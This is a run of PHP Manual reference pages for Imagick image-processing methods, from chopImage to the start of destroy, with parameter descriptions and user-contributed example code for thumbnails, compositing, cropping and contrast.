There are no user contributed notes for this page.
Imagick::borderImage
Imagick::chopImage
Imagick


Removes a region of an image and trims

Imagick::charcoalImage
Imagick::clear
Imagick
PHP Manual

Imagick::chopImage

(PECL imagick 2.0.0)

Imagick::chopImage — Removes a region of an image and trims

Description

bool Imagick::chopImage ( int $width , int $height , int $x , int $y )

Removes a region of an image and collapses the image to occupy the removed portion.

Parameters

width

Width of the chopped area

height

Height of the chopped area

x

X origo of the chopped area

y

Y origo of the chopped area

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 Using Imagick::chopImage():

Example of using Imagick::chopImage

<?php
/* Create some objects */
$image = new Imagick();
$pixel = new ImagickPixel( 'gray' );

/* New image */
$image->newImage(400, 200, $pixel);

/* Chop image */
$image->chopImage(200, 200, 0, 0);

/* Give image a format */
$image->setImageFormat('png');

/* Output the image with headers */
header('Content-type: image/png');
echo $image;

?>

See Also

  • Imagick::cropImage() - Extracts a region of the image

User Contributed Notes

There are no user contributed notes for this page.
Imagick::charcoalImage
Imagick::clear
Imagick


Clears all resources associated to Imagick object

Imagick::chopImage
Imagick::clipImage
Imagick
PHP Manual

Imagick::clear

(PECL imagick 2.0.0)

Imagick::clear — Clears all resources associated to Imagick object

Description

bool Imagick::clear ( void )

Clears all resources associated to Imagick object

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::chopImage
Imagick::clipImage
Imagick


Clips along the first path from the 8BIM profile

Imagick::clear
Imagick::clipPathImage
Imagick
PHP Manual

Imagick::clipImage

(PECL imagick 2.0.0)

Imagick::clipImage — Clips along the first path from the 8BIM profile

Description

bool Imagick::clipImage ( void )

Clips along the first path from the 8BIM profile, if present.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::clear
Imagick::clipPathImage
Imagick


Clips along the named paths from the 8BIM profile

Imagick::clipImage
Imagick::clone
Imagick
PHP Manual

Imagick::clipPathImage

(PECL imagick 2.0.0)

Imagick::clipPathImage — Clips along the named paths from the 8BIM profile

Description

bool Imagick::clipPathImage ( string $pathname , bool $inside )

Clips along the named paths from the 8BIM profile, if present. Later operations take effect inside the path. It may be a number if preceded with #, to work on a numbered path, e.g., "#1" to use the first path.

Parameters

pathname

The name of the path

inside

If TRUE later operations take effect inside clipping path. Otherwise later operations take effect outside clipping path.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

Coleman Nitroy 14-Mar-2008 05:15
I found Imagick::clipPathImage and Imagic::clipImage did not work as I had expected. I thought they would just clip the path and throw away the extra data and you are done. Not the case.

Here is how I was able to use a clipping path:

<?php
      $img = new Imagick("/Path/To/Test/Image.psd");
      $geometry = $img->getImageGeometry();

      // Uses the first path as the clipping path
      $img->clipPathImage("#1", false);

      // Fill the clipped part with a color
      $draw = new ImagickDraw();
      $draw->setFillColor("#000000");
      $draw->color(0,0, imagick::PAINT_RESET);
      $img->drawImage($draw);

      // Composite the clipped image with the old image. Set the color of the composite to any color you want to be the outside part.
      $composite = new Imagick($path);
      $composite->newImage( $geometry['width'], $geometry['height'], new ImagickPixel("white"), 'png');
      $composite->compositeImage($img, imagick::COMPOSITE_COPY, 0, 0);
?>

Then doing any resizing or creating thumbnails from the resulting image  disregarded all the previous commands so I "saved" it and started with a new Imagick object

<?php
      // Copy the image so clip is "saved"
      $clipped = new Imagick();
      $clipped->readImageBlob($composite->getImageBlob());
?>

I'm sure there is a simpler way, but this took me awhile to get right and there were some hurdles to cross so I hope it is able to help someone on the way.

This is all the convert equivalent of:

$ convert Test.psd -fill white -colorspace rgb -draw "color 0 0 reset" -clip -colorspace rgb -draw "Image Copy 0,0 0,0 'Test.psd'" OutputFile.png
Imagick::clipImage
Imagick::clone
Imagick


Makes an exact copy of the Imagick object

Imagick::clipPathImage
Imagick::clutImage
Imagick
PHP Manual

Imagick::clone

(PECL imagick 2.0.0)

Imagick::clone — Makes an exact copy of the Imagick object

Description

Imagick Imagick::clone ( void )

Makes an exact copy of the Imagick object.

Return Values

No value is returned.

User Contributed Notes

DJ Mike 21-Jul-2011 06:50
Create a banner with animated glowing text

<?php
$text = "DJ Mike";
$font = "lokicola.ttf";
$fontsize = 100;
$fontcolor = "#ffff88";
$file = "banner.gif"; # outfile

$glow_radius = 3;
# Three glow colors
$glow = array( "#ff0000", "#ff8800", "#ffff00" );
$delay = 15;
# moves text down
$offset = 12;

# make a black pallete
$pallete = new Imagick;
$pallete->newimage(375,140, "#000000");
# set pallet format to gif
$pallete->setimageformat("gif");

# make a draw object with settings
$draw = new imagickdraw();
$draw->setgravity(imagick::GRAVITY_CENTER);
$draw->setfont("$font");
$draw->setfontsize($fontsize);

# clone pallete to make 3 blank frames
$frame_0 = $pallete->clone();
$frame_1 = $pallete->clone();
$frame_2 = $pallete->clone();

# put them in an array
$frames = array($frame_0, $frame_1, $frame_2);

# loop through frames, double glow radius each time, annotate
foreach( $frames as $frame)
 {
  # Loop through glow colors, annotate and blur
  foreach( $glow as $color)
  {
   $draw->setfillcolor("$color");
   $frame->annotateImage ( $draw,0 ,$offset, 0, $text );
   $frame->annotateImage ( $draw,0 ,$offset, 0, $text );
   $frame->BlurImage( $glow_radius, $glow_radius );
  }
 # top layer of text over glow
 $draw->setfillcolor("$fontcolor");
 # center annotate on top of offset annotates
 $frame->annotateImage ( $draw,0 ,$offset, 0, $text );
 # double glow radius for next loop
 $glow_radius = $glow_radius*2;
 }

# add frames
$frame_0->addImage($frame_1);
$frame_0->addImage($frame_2);

# slow it down a little
$frame_0->setImageDelay("$delay");

# write frames
$frame_0->writeimages( "$file", FALSE);
# write animation
$frame_0->writeimages( "$file", TRUE);
#
header("Location:banner.gif");
?>
bryan 13-Aug-2008 11:58
For making thumbnails. Try this:

<?php

$im = new Imagick("image.jpg");
$im->thumbnailImage(100);
$im->writeImage("thumb_image.jpg");

?>
waage 30-Jan-2008 03:00
This is great to use to make thumbnails

<?php

$im = new Imagick("image.jpg");

$thumb = $im->clone();
$thumb->thumbnailImage(100);
$thumb->writeImage("thumb_image.jpg");

?>
Imagick::clipPathImage
Imagick::clutImage
Imagick


Replaces colors in the image

Imagick::clone
Imagick::coalesceImages
Imagick
PHP Manual

Imagick::clutImage

(PECL imagick 2.0.0)

Imagick::clutImage — Replaces colors in the image

Description

bool Imagick::clutImage ( Imagick $lookup_table [, float $channel = Imagick::CHANNEL_DEFAULT ] )

Replaces colors in the image from a color lookup table. Optional second parameter to replace colors in a specific channel. This method is available if Imagick has been compiled against ImageMagick version 6.3.6 or newer.

Parameters

lookup_table

Imagick object containing the color lookup table

channel

The Channeltype constant. When not supplied, default channels are replaced.

Return Values

Returns TRUE on success.

Examples

Example #1 Using Imagick::clutImage():

Replace colors in the image from a color lookup table.

<?php
$image = new Imagick('test.jpg');
$clut = new Imagick();
$clut->newImage(1, 1, new ImagickPixel('black'));
$image->clutImage($clut);
$image->writeImage('test_out.jpg');
?>

See Also

  • Imagick::adaptiveBlurImage() - Adds adaptive blur filter to image
  • Imagick::motionBlurImage() - Simulates motion blur
  • Imagick::radialBlurImage() - Radial blurs an image

User Contributed Notes

There are no user contributed notes for this page.
Imagick::clone
Imagick::coalesceImages
Imagick


Composites a set of images

Imagick::clutImage
Imagick::colorFloodfillImage
Imagick
PHP Manual

Imagick::coalesceImages

(PECL imagick 2.0.0)

Imagick::coalesceImages — Composites a set of images

Description

Imagick Imagick::coalesceImages ( void )

Composites a set of images while respecting any page offsets and disposal methods. GIF, MIFF, and MNG animation sequences typically start with an image background and each subsequent image varies in size and offset. Returns a new Imagick object where each image in the sequence is the same size as the first and composited with the next image in the sequence.

Return Values

Returns a new Imagick object on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

vikomic at gmail dot com 02-May-2011 03:58
Here goes an exaple how to resize GIF-s.

<?php
$imagick = new Imagick("original.gif");

$format = $imagick->getImageFormat();
if ($format == 'GIF') {
  $imagick = $imagick->coalesceImages();
  do {
     $imagick->resizeImage(120, 120, Imagick::FILTER_BOX, 1);
  } while ($imagick->nextImage());
  $imagick = $imagick->deconstructImages();
  $imagick->writeImages('new_120x120.gif', true);

  // can be added some more gifs
  $imagick = $imagick->coalesceImages();
  do {
     $imagick->resizeImage(100, 100, Imagick::FILTER_BOX, 1);
  } while ($imagick->nextImage());
  $imagick = $imagick->deconstructImages();
  $imagick->writeImages('new_100x100.gif', true);
}

$imagick->clear();
$imagick->destroy();
?>

You can use any resize method (resizeImage) with this example.

This example works fine with *imagick module version 2.2.1-dev*, but doesn't work correctly with *imagick module version 3.0.1*.
Imagick::clutImage
Imagick::colorFloodfillImage
Imagick


Changes the color value of any pixel that matches target

Imagick::coalesceImages
Imagick::colorizeImage
Imagick
PHP Manual

Imagick::colorFloodfillImage

(PECL imagick 2.0.0)

Imagick::colorFloodfillImage — Changes the color value of any pixel that matches target

Description

bool Imagick::colorFloodfillImage ( mixed $fill , float $fuzz , mixed $bordercolor , int $x , int $y )

Changes the color value of any pixel that matches target and is an immediate neighbor.

Parameters

fill

ImagickPixel object containing the fill color

fuzz

The amount of fuzz. For example, set fuzz to 10 and the color red at intensities of 100 and 102 respectively are now interpreted as the same color for the purposes of the floodfill.

bordercolor

ImagickPixel object containing the border color

x

X start position of the floodfill

y

Y start position of the floodfill

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as first and third parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::coalesceImages
Imagick::colorizeImage
Imagick


Blends the fill color with the image

Imagick::colorFloodfillImage
Imagick::combineImages
Imagick
PHP Manual

Imagick::colorizeImage

(PECL imagick 2.0.0)

Imagick::colorizeImage — Blends the fill color with the image

Description

bool Imagick::colorizeImage ( mixed $colorize , mixed $opacity )

Blends the fill color with each pixel in the image.

Parameters

colorize

ImagickPixel object or a string containing the colorize color

opacity

ImagickPixel object or an float containing the opacity value. 1.0 is fully opaque and 0.0 is fully transparent.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as the first parameter and a float representing the opacity value as the second parameter. Previous versions allow only an ImagickPixel objects.

User Contributed Notes

talkol at gmail dot com 28-Dec-2011 07:19
When you're using an image with an alpha channel (for example a transparent png), a value of 1.0 will return a completely transparent image, but a value of 1 works just fine.
lsmartinez at gmail dot com 08-Apr-2009 09:42
simplest example

<?php
$nombre = '001-4-0043.jpg';
$img = new Imagick($nombre);
$img->negateImage(false);
//$pixblu = new ImagickPixel('#000040');
$img->colorizeImage('#0000b0',1.0);
header('content-type: image/jpeg');
echo $img;
?>
Imagick::colorFloodfillImage
Imagick::combineImages
Imagick


Combines one or more images into a single image

Imagick::colorizeImage
Imagick::commentImage
Imagick
PHP Manual

Imagick::combineImages

(PECL imagick 2.0.0)

Imagick::combineImages — Combines one or more images into a single image

Description

Imagick Imagick::combineImages ( int $channelType )

Combines one or more images into a single image. The grayscale value of the pixels of each image in the sequence is assigned in order to the specified channels of the combined image. The typical ordering would be image 1 => Red, 2 => Green, 3 => Blue, etc.

Parameters

channelType

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::colorizeImage
Imagick::commentImage
Imagick


Adds a comment to your image

Imagick::combineImages
Imagick::compareImageChannels
Imagick
PHP Manual

Imagick::commentImage

(PECL imagick 2.0.0)

Imagick::commentImage — Adds a comment to your image

Description

bool Imagick::commentImage ( string $comment )

Adds a comment to your image.

Parameters

comment

The comment to add

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 Using Imagick::commentImage():

Commenting an image and retrieving the comment:

<?php

/* Create new Imagick object */
$im = new imagick();

/* Create an empty image */
$im->newImage(100, 100, new ImagickPixel("red"));

/* Add comment to the image */
$im->commentImage("Hello World!");

/* Display the comment */
echo $im->getImageProperty("comment");

?>

User Contributed Notes

There are no user contributed notes for this page.
Imagick::combineImages
Imagick::compareImageChannels
Imagick


Returns the difference in one or more images

Imagick::commentImage
Imagick::compareImageLayers
Imagick
PHP Manual

Imagick::compareImageChannels

(PECL imagick 2.0.0)

Imagick::compareImageChannels — Returns the difference in one or more images

Description

array Imagick::compareImageChannels ( Imagick $image , int $channelType , int $metricType )

Compares one or more images and returns the difference image.

Parameters

image

Imagick object containing the image to compare.

channelType

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

metricType

One of the metric type constants.

Return Values

Array consisting of new_wand and distortion.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::commentImage
Imagick::compareImageLayers
Imagick


Returns the maximum bounding region between images

Imagick::compareImageChannels
Imagick::compareImages
Imagick
PHP Manual

Imagick::compareImageLayers

(PECL imagick 2.0.0)

Imagick::compareImageLayers — Returns the maximum bounding region between images

Description

Imagick Imagick::compareImageLayers ( int $method )

Compares each image with the next in a sequence and returns the maximum bounding region of any pixel differences it discovers. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

method

One of the layer method constants.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 Using Imagick::compareImageLayers()

Comparing image layers

<?php
/* create new imagick object */
$im = new Imagick("test.gif");

/* optimize the image layers */
$result = $im->compareImageLayers(imagick::LAYERMETHOD_COALESCE);

/* work on the $result */
?>

See Also

  • Imagick::optimizeImageLayers() - Removes repeated portions of images to optimize
  • Imagick::writeImages() - Writes an image or image sequence
  • Imagick::writeImage() - Writes an image to the specified filename

User Contributed Notes

There are no user contributed notes for this page.
Imagick::compareImageChannels
Imagick::compareImages
Imagick


Compares an image to a reconstructed image

Imagick::compareImageLayers
Imagick::compositeImage
Imagick
PHP Manual

Imagick::compareImages

(PECL imagick 2.0.0)

Imagick::compareImages — Compares an image to a reconstructed image

Description

array Imagick::compareImages ( Imagick $compare , int $metric )

Returns an array containing a reconstructed image and the difference between images.

Parameters

compare

An image to compare to.

metric

Provide a valid metric type constant. Refer to this list of metric constants.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 Using Imagick::compareImages():

Compare images and display the reconstructed image

<?php

$image1 = new imagick("image1.png");
$image2 = new imagick("image2.png");

$result = $image1->compareImages($image2, Imagick::METRIC_MEANSQUAREERROR);
$result[0]->setImageFormat("png");

header("Content-Type: image/png");
echo $result[0];

?>

User Contributed Notes

There are no user contributed notes for this page.
Imagick::compareImageLayers
Imagick::compositeImage
Imagick


Composite one image onto another

Imagick::compareImages
Imagick::__construct
Imagick
PHP Manual

Imagick::compositeImage

(PECL imagick 2.0.0)

Imagick::compositeImage — Composite one image onto another

Description

bool Imagick::compositeImage ( Imagick $composite_object , int $composite , int $x , int $y [, int $channel = Imagick::CHANNEL_ALL ] )

Composite one image onto another at the specified offset.

Parameters

composite_object

Imagick object which holds the composite image

compose

Composite operator. See Composite Operator Constants

x

The column offset of the composited image

y

The row offset of the composited image

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

User Contributed Notes

Iddles 05-Jul-2011 10:01
To copy the alpha channel from one image to another, you can do the following:

<?php

$img1 = new Imagick( "image1.png" );
$img2 = new Imagick( "image2.png" );

$img1->compositeImage( $img2, imagick::COMPOSITE_COPYOPACITY, 0, 0 );

header('Content-type: image/png');
echo $img1;

?>
giso at connectholland dot nl 20-Jan-2010 08:30
You might need to set the colorspace the same when composing two images over each other

<?php
//Creating two Imagick object
$first = new Imagick('first.jpg');
$second = new Imagick('second.jpg');

// Set the colorspace to the same value
$first->setImageColorspace($second->getImageColorspace() );

//Second image is put on top of the first
$first->compositeImage($second, $second->getImageCompose(), 5, 5);

//new image is saved as final.jpg
$first->writeImage('final.jpg');
?>
m dot roszka at textend dot net 12-Feb-2008 06:55
Here is an example on how to compose two images into a single one. The Imagick class utilises the exception handling model introduced in PHP5 and thus we will do that as well. Let's presume, that we have a directory in our filesystem, which contains our program and the two images we want to operate on.

<?php
try
{
    // Let's check whether we can perform the magick.
    if (TRUE !== extension_loaded('imagick'))
    {
        throw new Exception('Imagick extension is not loaded.');
    }

    // This check is an alternative to the previous one.
    // Use the one that suits you better.
    if (TRUE !== class_exists('Imagick'))
    {
        throw new Exception('Imagick class does not exist.');
    }

    // Let's find out where we are.
    $dir = dirname(__FILE__);

    // Let's read the images.
    $glasses = new Imagick();
    if (FALSE === $glasses->readImage($dir . '/glasses.png'))
    {
        throw new Exception();
    }

    $face = new Imagick();
    if (FALSE === $face->readImage($dir . '/face.jpg'))
    {
        throw new Exception();
    }

    // Let's put the glasses on (10 pixels from left, 20 pixels from top of face).
    $face->compositeImage($glasses, Imagick::COMPOSITE_DEFAULT, 10, 20);

    // Let's merge all layers (it is not mandatory).
    $face->flattenImages();

    // We do not want to overwrite face.jpg.
    $face->setImageFileName($dir . '/face_and_glasses.jpg');

    // Let's write the image.
    if  (FALSE == $face->writeImage())
    {
        throw new Exception();
    }
}

catch (Exception $e)
{
    echo 'Caught exception: ' . $e->getMessage() . "\n";
}

exit(0);
?>
Also a couple more words on the Imagick::COMPOSITE_DEFAULT argument. The images we are composing together are separate layers. Not only can we put them in specific order, but we can also choose the way we want them to interfere with each other. And here comes the second argument of the compositeImage method. It can be given either as a constant or as the integer value of that constant. You can use the reflection API of PHP5 to get the list of them.

<?php
Reflection::export(new ReflectionClass('Imagick'));
?>

Just look for COMPOSITE_* constants in the "Constants" section.
vincent dot hoen at gmail dot com 31-Jul-2007 06:44
Here is a way to composite an image onto another :

//Creating two Imagick object
$first = new Imagick('first.jpg');
$second = new Imagick('second.jpg');

//Second image is put on top of the first
$first->compositeImage($second, $second->getImageCompose(), 5, 5);

//new image is saved as final.jpg
$first->writeImage('final.jpg');
Imagick::compareImages
Imagick::__construct
Imagick


The Imagick constructor

Imagick::compositeImage
Imagick::contrastImage
Imagick
PHP Manual

Imagick::__construct

(PECL imagick 2.0.0)

Imagick::__construct — The Imagick constructor

Description

Imagick::__construct ( mixed $files )

Creates an Imagick instance for a specified image or set of images.

Parameters

files

The path to an image to load or an array of paths. Paths can include wildcards for file names, or can be URLs.

Return Values

Returns a new Imagick object on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::compositeImage
Imagick::contrastImage
Imagick


Change the contrast of the image

Imagick::__construct
Imagick::contrastStretchImage
Imagick
PHP Manual

Imagick::contrastImage

(PECL imagick 2.0.0)

Imagick::contrastImage — Change the contrast of the image

Description

bool Imagick::contrastImage ( bool $sharpen )

Enhances the intensity differences between the lighter and darker elements of the image. Set sharpen to a value other than 0 to increase the image contrast otherwise the contrast is reduced.

Parameters

sharpen

The sharpen value

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

xyking 16-Apr-2010 08:14
Tip:
<?php
$image->contrastImage(1); //Increase contrast once
$image->contrastImage(1); //Increase contrast more
$image->contrastImage(1); //Increase contrast even more

$image->contrastImage(0); //Decrease contrast once
$image->contrastImage(0); //Decrease contrast more
$image->contrastImage(0); //Decrease contrast even more

//This could be made into a function like this:
public function contrast($level) {
        $level = (int)$level;
        if ($level < -10) {
            $level = -10;
        } else if ($level > 10) {
            $level = 10;
        }
        if ($level > 0) {
            for ($i = 0; $i < $level; $i++) {
                $this->image->contrastImage(1);
            }
        } else if ($level < 0) {
            for ($i = $level; $i > 0; $i--) {
                $this->image->contrastImage(0);
            }
        }
    }
?>
goekar at msn dot com 08-Aug-2007 05:33
<?
$image = new Imagick('test.jpg'); // open image file
$image->contrastImage(9); // 0 - 9
$image->writeImage('test2.jpg'); //save image
?>
Imagick::__construct
Imagick::contrastStretchImage
Imagick


Enhances the contrast of a color image

Imagick::contrastImage
Imagick::convolveImage
Imagick
PHP Manual

Imagick::contrastStretchImage

(PECL imagick 2.0.0)

Imagick::contrastStretchImage — Enhances the contrast of a color image

Description

bool Imagick::contrastStretchImage ( float $black_point , float $white_point [, int $channel = Imagick::CHANNEL_ALL ] )

Enhances the contrast of a color image by adjusting the pixels color to span the entire range of colors available. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

black_point

The black point.

white_point

The white point.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Imagick::CHANNEL_ALL. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::contrastImage
Imagick::convolveImage
Imagick


Applies a custom convolution kernel to the image

Imagick::contrastStretchImage
Imagick::cropImage
Imagick
PHP Manual

Imagick::convolveImage

(PECL imagick 2.0.0)

Imagick::convolveImage — Applies a custom convolution kernel to the image

Description

bool Imagick::convolveImage ( array $kernel [, int $channel = Imagick::CHANNEL_ALL ] )

Applies a custom convolution kernel to the image.

Parameters

kernel

The convolution kernel

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::contrastStretchImage
Imagick::cropImage
Imagick


Extracts a region of the image

Imagick::convolveImage
Imagick::cropThumbnailImage
Imagick
PHP Manual

Imagick::cropImage

(PECL imagick 2.0.0)

Imagick::cropImage — Extracts a region of the image

Description

bool Imagick::cropImage ( int $width , int $height , int $x , int $y )

Extracts a region of the image.

Parameters

width

The width of the crop

height

The height of the crop

x

The X coordinate of the cropped region's top left corner

y

The Y coordinate of the cropped region's top left corner

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

ElPadre 05-Nov-2010 08:55
Actually, the Imagick::setImagePage(0,0,0,0) is also handy with jpgs and pngs, if you plan to do any more changes on the cropped image that involves positioning and/or gravity (I created a script that does crop, face blur and watermarking in one go, and had a hell of a time determining why the blurs and the watermark text never showed up...).
Christian Dehning 09-Apr-2010 03:57
When cropping gif-images (I had no problems with jpg and png images), the canvas is not removed. Please run the following command on the cropped gif, to remove the blank space:

$im->setImagePage(0, 0, 0, 0);
vincent dot hoen at gmail dot com 02-Aug-2007 06:35
There is an easiest way to crop an image :

$picture = new Imagick('animated_gif.gif');

foreach($picture as $frame){
    $frame->cropImage($width, $height, $x, $y);
}
vincent dot hoen at gmail dot com 01-Aug-2007 08:39
If you're working with animated gif you might want to process this way (Probably not the best, but at least it works) :

$picture = new Imagick('animated_gif.gif');

//Crop first image
$picture->cropImage($width, $height, $x, $y);

//Crop every other image
while($picture->hasNextImage()){
    $this->nextImage();
    $this->cropImage($width, $height, $x, $y);
}

//display image
$picture->getImageBlob();
Imagick::convolveImage
Imagick::cropThumbnailImage
Imagick


Creates a crop thumbnail

Imagick::cropImage
Imagick::current
Imagick
PHP Manual

Imagick::cropThumbnailImage

(PECL imagick 2.0.0)

Imagick::cropThumbnailImage — Creates a crop thumbnail

Description

bool Imagick::cropThumbnailImage ( int $width , int $height )

Creates a fixed size thumbnail by first scaling the image up or down and cropping a specified area from the center.

Parameters

width

The width of the thumbnail

height

The Height of the thumbnail

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

sonsandsons at gmail dot com 29-Nov-2011 10:01
It's worth noting that using cropThumbnailImage can appear to give undesired results if you're using .gif image formats. If you are using .gif's, you'll need to compliment this function with a removal of the canvas.

<?php

//instantiate the image magick class
$image = new Imagick($image_path);

//crop and resize the image
$image->cropThumbnailImage(100,100);

//remove the canvas
$image->setImagePage(0, 0, 0, 0);

?>
martijn at elicit dot nl 03-Jun-2010 05:57
In my opinion this function is not working as expected, tested for imagemagick version 6.3.7

As described above, the function returns an image with a fixed height and a variable width. Here's a fix that will return a cropped thumbnail with the defined dimensions, without variations in the dimensions.

<?php
// define widescreen dimensions
$width = 160;
$height = 90;

// load an image
$i = new Imagick("your image file");
// get the current image dimensions
$geo = $i->getImageGeometry();

// crop the image
if(($geo['width']/$width) < ($geo['height']/$height))
{
    $i->cropImage($geo['width'], floor($height*$geo['width']/$width), 0, (($geo['height']-($height*$geo['width']/$width))/2));
}
else
{
    $i->cropImage(ceil($width*$geo['height']/$height), $geo['height'], (($geo['width']-($width*$geo['height']/$height))/2), 0);
}
// thumbnail the image
$i->ThumbnailImage($width,$height,true);

// save or show or whatever the image
$i->setImageFormat("png");
header("Content-Type: image/png");
exit($i);
?>
benford at bluhelix dot com 11-Jun-2009 02:14
I found a relevant posting complete with demo code at this site:
http://valokuva.org/?p=8

Sample code goes like this:
<?php
/* Read the image */
$im = new imagick( "test.png" );
/* create the thumbnail */
$im->cropThumbnailImage( 80, 80 );
/* Write to a file */
$im->writeImage( "th_80x80_test.png" );
?>

This is a specialization of the cropImage method. At a high level, this method will create a thumbnail of a given image, with the thumbnail sized at ($width, $height).

If the thumbnail does not match the aspect ratio of the source image, this is the method to use. The thumbnail will capture the entire image on the shorter edge of the source image (ie, vertical size on a landscape image). Then the thumbnail will be scaled down to meet your target height, while preserving the aspect ratio. Extra horizontal space that does not fit within the target $width will be cropped off evenly left and right.

As a result, the thumbnail is usually a good representation of the source image.
domenechs1 at yahoo dot es 03-Mar-2008 09:06
$image = new Imagick($path."test1.jpg");

$image->cropThumbnailImage(160,120); // Crop image and thumb

$image->writeImage($path."test1.jpg");
Imagick::cropImage
Imagick::current
Imagick


Returns a reference to the current Imagick object

Imagick::cropThumbnailImage
Imagick::cycleColormapImage
Imagick
PHP Manual

Imagick::current

(PECL imagick 2.0.0)

Imagick::current — Returns a reference to the current Imagick object

Description

Imagick Imagick::current ( void )

Returns reference to the current imagick object with image pointer at the correct sequence.

Return Values

Returns self on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::cropThumbnailImage
Imagick::cycleColormapImage
Imagick


Displaces an image's colormap

Imagick::current
Imagick::decipherImage
Imagick
PHP Manual

Imagick::cycleColormapImage

(PECL imagick 2.0.0)

Imagick::cycleColormapImage — Displaces an image's colormap

Description

bool Imagick::cycleColormapImage ( int $displace )

Displaces an image's colormap by a given number of positions. If you cycle the colormap a number of times you can produce a psychedelic effect.

Parameters

displace

The amount to displace the colormap.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::current
Imagick::decipherImage
Imagick


Deciphers an image

Imagick::cycleColormapImage
Imagick::deconstructImages
Imagick
PHP Manual

Imagick::decipherImage

(No version information available, might only be in SVN)

Imagick::decipherImage — Deciphers an image

Description

bool Imagick::decipherImage ( string $passphrase )

Deciphers image that has been enciphered before. The image must be enciphered using Imagick::encipherImage(). This method is available if Imagick has been compiled against ImageMagick version 6.3.9 or newer.

Parameters

passphrase

The passphrase

Return Values

Returns TRUE on success.

See Also

  • Imagick::encipherImage() - Enciphers an image

User Contributed Notes

There are no user contributed notes for this page.
Imagick::cycleColormapImage
Imagick::deconstructImages
Imagick


Returns certain pixel differences between images

Imagick::decipherImage
Imagick::deleteImageArtifact
Imagick
PHP Manual

Imagick::deconstructImages

(PECL imagick 2.0.0)

Imagick::deconstructImages — Returns certain pixel differences between images

Description

Imagick Imagick::deconstructImages ( void )

Compares each image with the next in a sequence and returns the maximum bounding region of any pixel differences it discovers.

Return Values

Returns a new Imagick object on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::decipherImage
Imagick::deleteImageArtifact
Imagick


Delete image artifact

Imagick::deconstructImages
Imagick::deskewImage
Imagick
PHP Manual

Imagick::deleteImageArtifact

(No version information available, might only be in SVN)

Imagick::deleteImageArtifact — Delete image artifact

Description

bool Imagick::deleteImageArtifact ( string $artifact )

Deletes an artifact associated with the image. The difference between image properties and image artifacts is that properties are public and artifacts are private. This method is available if Imagick has been compiled against ImageMagick version 6.5.7 or newer.

Parameters

artifact

The name of the artifact

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

See Also

  • Imagick::setImageArtifact() - Set image artifact
  • Imagick::getImageArtifact() - Get image artifact

User Contributed Notes

There are no user contributed notes for this page.
Imagick::deconstructImages
Imagick::deskewImage
Imagick


Removes skew from the image

Imagick::deleteImageArtifact
Imagick::despeckleImage
Imagick
PHP Manual

Imagick::deskewImage

(No version information available, might only be in SVN)

Imagick::deskewImage — Removes skew from the image

Description

public bool Imagick::deskewImage ( float $threshold )

This method can be used to remove skew from for example scanned images where the paper was not properly placed on the scanning surface. This method is available if Imagick has been compiled against ImageMagick version 6.4.5 or newer.

Parameters

threshold

Deskew threshold

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Imagick::deleteImageArtifact
Imagick::despeckleImage
Imagick


Reduces the speckle noise in an image

Imagick::deskewImage
Imagick::destroy
Imagick
PHP Manual

Imagick::despeckleImage

(PECL imagick 2.0.0)

Imagick::despeckleImage — Reduces the speckle noise in an image

Description

bool Imagick::despeckleImage ( void )

Reduces the speckle noise in an image while preserving the edges of the original image.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::deskewImage
Imagick::destroy
Imagick


Destroys the Imagick object

Imagick::despeckleImage
Imagick::displayImage
Imagick
PHP Manual

Imagick::destroy

(PECL imagick 2.0.0)

Imagick::destroy — Destroys the Imagick object

Description

